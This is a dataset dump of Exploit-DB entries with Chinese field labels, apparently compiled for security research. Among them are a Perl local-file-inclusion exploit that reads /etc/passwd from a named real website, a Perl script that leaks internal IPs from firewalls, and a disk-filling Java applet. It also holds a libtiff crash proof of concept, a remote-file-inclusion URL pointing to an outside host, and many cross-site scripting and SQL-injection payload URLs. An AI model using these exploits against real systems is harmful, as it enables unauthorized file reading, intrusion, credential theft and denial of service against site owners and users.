QLWD/code_shield huggingface dataset:
标题: RadScripts RadLance 7.0 - 'popup.php' Local File Inclusion EDB-ID: 27880 CVE: 2006-2404 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/17975/info

RadLance is prone to a local file-include vulnerability. This may allow unauthorized users to view files and to execute local scripts.

RadLance Gold 7.0 is reported affected by this issue; other versions may also be vulnerable.

#!/usr/bin/perl
#Discovered and coded by Mr.CrackerZ ( Security Team )
#Contact me ( bo_ali90@hotmail.com )
#Usage: radlance.pl <victim> <local file to read>
#Google: Powered by: RadLance Gold v7
#Tested Under RadLance Gold v7 ( Local Inclusion Exploit )
#Example:
http://www.getabuilder.co.uk/popup.php?read=../../../../../../../../../etc/passwd
#Perl example: radlance.pl www.getabuilder.co.uk
../../../../../../../../../etc/passwd
#################################################





use IO::Socket;
if(@ARGV < 2){
print "
+*************************************************************************+

Exploit Discovered and coded by Mr.CrackerZ ( Security Team )

radlance.pl <victim> <local file to read>

<victim> = www.example.com

<local file to read> = ../../../../../../../../../etc/passwd


+*************************************************************************+
";
exit();
}
#Local variables
$wbbserver = $ARGV[0];
$wbbserver =~ s/(http:\/\/)//eg;
$wbbhost = "http://".$wbbserver;
$port = "80";
$wbbtar = "/popup.php?read=";
$wbbxp = $ARGV[1];
$wbbreq = $wbbhost.$wbbtar.$wbbxp;
#Writing data to socket
print "\r\n";
print "+ Trying to connect: $wbbserver\n";
$wbb = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$wbbserver",
PeerPort => "$port") || die "\n+ Connection failed...\n";
print $wbb "GET $wbbreq\n";
print $wbb "Host: $wbbserver\n";
print $wbb "Accept: */*\n";
print $wbb "Connection: close\n\n";
print "+ Connected!...\n";
print "\r\n";
print
"+**********************************************************************+\n";
while($answer = <$wbb>) {

print <$wbb>;
printf "\r\n";

}

print
"+**********************************************************************+\n\ncopy
the code and save it as .html or .php depend the file u are trying
to\naccess to , and if u saw the file cont so you got what u need :)\n"; URL: https://www.exploit-db.com/exploits/27880
标题: libtiff 3.9.5 - Integer Overflow EDB-ID: 27875 CVE: 2013-5575 类型: DOS 平台: LINUX 发布日期: 2013-08-26 漏洞利用脚本: /*
# Exploit Title: libtiff <= 3.9.5 Integer overflow bug poc
# Date: 2013/08/25
# Exploit Author: x90c
# Vendor Homepage: http://www.remotesensing.org/libtiff
# Version:
- libtiff 3.9.5 <=
# Tested on:
- libtiff 4.0.3
- libtiff 4.0.2
- libtiff 4.0.1
- libtiff 4.0.0 (safe)
- libtiff 3.9.5 (vulnerable) <=
- libtiff 3.6.0
# CVE : CVE-2013-5575

I submit the poc of libtiff bug and
attached original advisory too
I want to submit the poc, sample file only

http://www.x90c.org/advisories/xadv_2013001_libtiff.txt
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "tiffio.h"

int tiff_integer_overflow_test(){
TIFF* tif = TIFFOpen("/home/x90c/sample_spp.tif", "r");
int samples = 0;

/*
 * for instance, TIFFGetField library function will
 * called with malicious samplesperpixel field value 
 * TIFFGetField got segfault!
 */
TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samples);

printf("tiff_poc: tif samplesperpixel field=%d\n", samples);
} URL: https://www.exploit-db.com/exploits/27875
标题: PHPRemoteView - 'PRV.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27885 CVE: 2006-2425 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-16 漏洞利用脚本: source:  https://www.securityfocus.com/bid/17994/info

PhpRemoteView is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://victim/path/PRV.php?&c=v&d=[path]&f="><script>alert(/Soot/)</script>
http://victim/path/PRV.php?c=l&d="><script>alert(/Soot/)</script>
http://victim/path/PRV.php?c=setup&ref="><script>alert(/Soot/)</script>
http://victim/path/PRV.php?c=d&d=[path]
http://victim/path/PRV.php?c=d&d=[path] URL: https://www.exploit-db.com/exploits/27885
标题: Sun Java Applet - Font.createFont Remote Denial of Service EDB-ID: 27882 CVE: 2006-2426 类型: DOS 平台: JAVA 发布日期: 2006-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/17981/info

Sun Java is prone to a remote denial-of-service vulnerability because the application fails to properly handle certain Java applets.

Successfully exploiting this issue will cause the application to create a temporary file that will grow in an unbounded fashion, consuming all available disk space. This will likely result in a denial-of-service condition.

Sun Java JDK 1.4.2_11 and 1.5.0_06 are vulnerable; other versions may also be affected.

import java.applet.Applet;
import java.awt.Font;
import java.io.InputStream;

class MIS extends InputStream
{

    MIS()
    {
    }

    public int read()
    {
        return 0;
    }

    public int read(byte abyte0[], int i, int j)
    {
        return j - i;
    }
}


public class FontCreatorFullDiskApplet extends Applet
{

    public FontCreatorFullDiskApplet()
    {
    }
   
    static 
    {
        try
        {
            byte abyte0[] = new byte[0];
            Font font = Font.createFont(0, new MIS());
        }
        catch(Exception exception) { }
    }
} URL: https://www.exploit-db.com/exploits/27882
标题: Gphotos 1.4/1.5 - 'affich.php?image' Cross-Site Scripting EDB-ID: 27866 CVE: 2006-2397 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17967/info
  
Gphotos is prone to multiple input-validation vulnerabilities. The issues include information-disclosure and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. Other attacks are also possible.
  
http://www.example.com/affich.php?image=[xss] URL: https://www.exploit-db.com/exploits/27866
标题: GNU BinUtils 2.1x - Buffer Overflow EDB-ID: 27856 CVE: 2006-2362 类型: DOS 平台: LINUX 发布日期: 2006-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17950/info

GNU 'binutils' is prone to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Remote attackers may crash the 'strings' utility, potentially making analysis of malicious binaries more difficult. Attackers may also execute arbitrary machine code in the context of applications that use the affected library.

%253Cc%253Cc%253Cc%253Cc%253Cc%253Cc%253Cc URL: https://www.exploit-db.com/exploits/27856
标题: PHP Script Tools PSY Auction - 'item.php?id' SQL Injection EDB-ID: 27869 CVE: 2006-7005 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/17974/info

PSY Auction is prone to multiple input-validation vulnerabilities. The issues include HTML-injection and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, control how the site is rendered to the user, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/auction/item.php?id=&#039;[SQL] URL: https://www.exploit-db.com/exploits/27869
标题: phpBB Chart Mod 1.1 - 'charts.php?id' SQL Injection EDB-ID: 27857 CVE: 2006-2360 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17952/info

Chart Mod is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

Chart Mod version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/charts.php?action=vote&rate=1&id=[SQL] URL: https://www.exploit-db.com/exploits/27857
标题: Pixaria PopPhoto 3.5.4 - 'CFG[popphoto_base_path]' Remote File Inclusion EDB-ID: 27868 CVE: 2006-2395 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/17970/info

Pixaria PopPhoto is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects PopPhoto 3.5.4. Other versions may be affected as well.

http://www.example.com/[path]/resources/includes/popp.config.loader.inc.php?
include_path=http://unsecured-systems.com/forum/ URL: https://www.exploit-db.com/exploits/27868
标题: PHP Script Tools PSY Auction - 'email_request.php?user_id' Cross-Site Scripting EDB-ID: 27870 CVE: 2006-7004 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/17974/info
 
PSY Auction is prone to multiple input-validation vulnerabilities. The issues include HTML-injection and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, control how the site is rendered to the user, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/auction/email_request.php?user_id=[malicious code] URL: https://www.exploit-db.com/exploits/27870
标题: phpBB 2.0.20 - Unauthorized HTTP Proxy EDB-ID: 27863 CVE: 2006-4450 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/17965/info

phpBB is prone to a vulnerability that could permit the application to become an unauthorized HTTP proxy.

An attacker can exploit this issue to manipulate phpBB into becoming an HTTP proxy.

http://www.example.com/somescript.php?cmd=ls%20-la&xpl=http://www.example2.com/someshell.txt URL: https://www.exploit-db.com/exploits/27863
标题: phpBB Chart Mod 1.1 - 'charts.php?id' Cross-Site Scripting EDB-ID: 27858 CVE: 2006-2359 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17952/info
 
Chart Mod is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
Chart Mod version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/charts.php?action=vote&rate=1&id=[XSS] URL: https://www.exploit-db.com/exploits/27858
标题: Gphotos 1.4/1.5 - 'index.php?rep' Cross-Site Scripting EDB-ID: 27864 CVE: 2006-2397 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17967/info

Gphotos is prone to multiple input-validation vulnerabilities. The issues include information-disclosure and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/index.php?rep=[xss] URL: https://www.exploit-db.com/exploits/27864
标题: Ipswitch WhatsUp Professional 2006 - '/NmConsole/ToolResults.asp?sHostname' Cross-Site Scripting EDB-ID: 27862 CVE: 2006-2351 类型: REMOTE 平台: ASP 发布日期: 2006-05-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/17964/info
 
WhatsUp Professional is prone to multiple input-validation vulnerabilities. The issues include remote file-include, information-disclosure, source-code disclosure, cross-site scripting, and input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
Successful exploits of these vulnerabilities could allow an attacker to access or modify data, steal cookie-based authentication credentials, perform username-enumeration, access sensitive information, and gain unauthorized access to script source code. Other attacks are also possible.
 
http://www.example.com:8022/NmConsole/utility/RenderMap.asp?nDeviceGroupID=2 URL: https://www.exploit-db.com/exploits/27862
标题: Gphotos 1.4/1.5 - 'index.php?rep' Traversal Arbitrary Directory Listing EDB-ID: 27867 CVE: 2006-2398 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17967/info
   
Gphotos is prone to multiple input-validation vulnerabilities. The issues include information-disclosure and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. Other attacks are also possible.
   
http://www.example.com/index.php?rep=../../../ URL: https://www.exploit-db.com/exploits/27867
标题: Ipswitch WhatsUp Professional 2006 - '/NmConsole/Navigation.asp?sDeviceView' Cross-Site Scripting EDB-ID: 27861 CVE: 2006-2351 类型: REMOTE 平台: ASP 发布日期: 2006-05-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/17964/info

WhatsUp Professional is prone to multiple input-validation vulnerabilities. The issues include remote file-include, information-disclosure, source-code disclosure, cross-site scripting, and input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to access or modify data, steal cookie-based authentication credentials, perform username-enumeration, access sensitive information, and gain unauthorized access to script source code. Other attacks are also possible.

http://www.example.com:8022/NmConsole/Navigation.asp?">[code] URL: https://www.exploit-db.com/exploits/27861
标题: Gphotos 1.4/1.5 - 'diapo.php?rep' Cross-Site Scripting EDB-ID: 27865 CVE: 2006-2397 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17967/info
 
Gphotos is prone to multiple input-validation vulnerabilities. The issues include information-disclosure and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. Other attacks are also possible.
 
http://www.example.com/diapo.php?rep=[xss] URL: https://www.exploit-db.com/exploits/27865
标题: OZJournals 1.2 - 'Vname' Cross-Site Scripting EDB-ID: 27859 CVE: 2006-2390 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/17954/info

OZJournals is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

OZJournals 1.2 is reported to be vulnerable. Other versions may be affected as well.

# OZJournals 1.2 <= Cross Site Scripting Vulnerability 
#
# Risk: Less critical
# Class: Remote
# Script: OZJournals 1.2
# Version: 1.2

----------------------------------------------------------------------------------------------
Post Request:

http://www.example.com/ozjournals/ozjournals/index.php?show=comments&action=post
POST /ozjournals/ozjournals/index.php?show=comments&action=post HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/ozjournals/ozjournals/index.php?show=comments&action=add
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
vname=test&vemail=mail%40mail.it&vlocation=test&vcomment=test

ou can insert in the name an XSS code or you can modify the request in this way:

vname=<SCRIPT>alert("lol");</SCRIPT>&vemail=mail%40mail.it&vlocation=test&vcomment=test

----------------------------------------------------------------------------------------------
Credit

Author: Kiki
Site: http://kiki91.altervista.org
IRC Channel: irc.azzurra.org 6667 #system URL: https://www.exploit-db.com/exploits/27859
标题: Vizra - 'A_Login.php' Cross-Site Scripting EDB-ID: 27855 CVE: 2006-2365 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17949/info

Vizra is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/destek/admin/a_login.php?message=<b>security-testing-roott3r</b> URL: https://www.exploit-db.com/exploits/27855
标题: Symantec Enterprise Firewall / Gateway Security - HTTP Proxy Internal IP Leakage EDB-ID: 27852 CVE: 2006-2341 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17936/info

Symantec Enterprise Firewall and Gateway Security products are prone to an information-disclosure weakness. 

The vendor has reported that the NAT/HTTP proxy component of the products may reveal the internal IP addresses of protected computers. 

An attacker may use this information to carry out targeted attacks against a potentially vulnerable host.

#!/usr/bin/perl
# [title] raptor firewall internal IP disclosure 'exploit'
# [mailto] research [at] sec-consult [dot} com
#
# sk0L@b4byl0n:~/home/sk0L> perl raptor-nat.pl behind.raptor.com
# waiting for timeout (this can take about 1 min.)
# behind.raptor.com: 10.238.94.67

use IO::Socket;

$| = 1;

$host = $ARGV[0] or die "$0 <host>\n";

$request = "getXXX/XXX HTTP/1.0\n\n";

my $sock = new IO::Socket::INET (
                 PeerAddr => $host,
                 PeerPort => 80,
                 Proto => 'tcp',
);

die "could not open socket: $!\n" unless $sock;

print $sock $request;

print "waiting for timeout (this can take about 1 min.)\n";

while (<$sock>) {
                 if ($_ =~ /http:\/\/(\d+\.\d+\.\d+\.\d+)XXX/) {
                                 $ip = $1;
                 }
}

if (defined($ip)) {
                 print "$host: $ip\n";
} else {
                 print "failed.\n";
}

close($sock); URL: https://www.exploit-db.com/exploits/27852
标题: Microsoft Infotech Storage Library - Heap Corruption EDB-ID: 27850 CVE: 2006-2297 类型: DOS 平台: WINDOWS 发布日期: 2006-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17926/info

Microsoft Windows is susceptible to a heap-corruption vulnerability while attempting to read specially crafted CHM or ITS files. This occurs in the 'ITSS.DLL' library.

This vulnerability allows remote attackers to execute arbitrary machine code in the context of applications using the affected library.

Attackers may exploit this issue by coercing users to open malicious CHM or ITS files with Internet Explorer, or when users try to decompile such files using the 'hh -decompile' command. CHM files are considered unsafe files, so there is a possibility that advanced users or security researchers may try to decompile these files to inspect their contents.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27850.chm URL: https://www.exploit-db.com/exploits/27850
标题: EDirectoryPro - 'Search_result.asp' SQL Injection EDB-ID: 27849 CVE: 2006-2296 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17912/info

EDirectoryPro is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/linkdirectory/search_result.asp?Category=2&keyword=%27+or+%27%3D%27&mode=date URL: https://www.exploit-db.com/exploits/27849
标题: MultiCalendars 3.0 - 'All_calendars.asp' SQL Injection EDB-ID: 27842 CVE: 2006-2293 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17903/info

MultiCalendars is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 3.0 is reported to be vulnerable; other versions may also be affected.

http://www.example.com/Demos/MC/all_calendars.asp?month=4&year=2006&cate=&cTYPE=1&calsids=&#039;%20or%20&#039;=&#039; URL: https://www.exploit-db.com/exploits/27842
标题: MyBB 1.1.1 - 'showthread.php' SQL Injection EDB-ID: 27843 CVE: 2006-2336 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17904/info

MyBB is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful attack could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

MyBB 1.1.1 is reported to be affected to this issue. Other versions may be vulnerable as well.

http://www.example.com/showthread.php?...$comma=[SQL] URL: https://www.exploit-db.com/exploits/27843
标题: EImagePro - 'view.asp?Pic' SQL Injection EDB-ID: 27848 CVE: 2006-2300 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17911/info
  
EImagePro is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 
  
Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
http://www.example.com/imagegallery/view.asp?CatID=1&Pic=&#039; URL: https://www.exploit-db.com/exploits/27848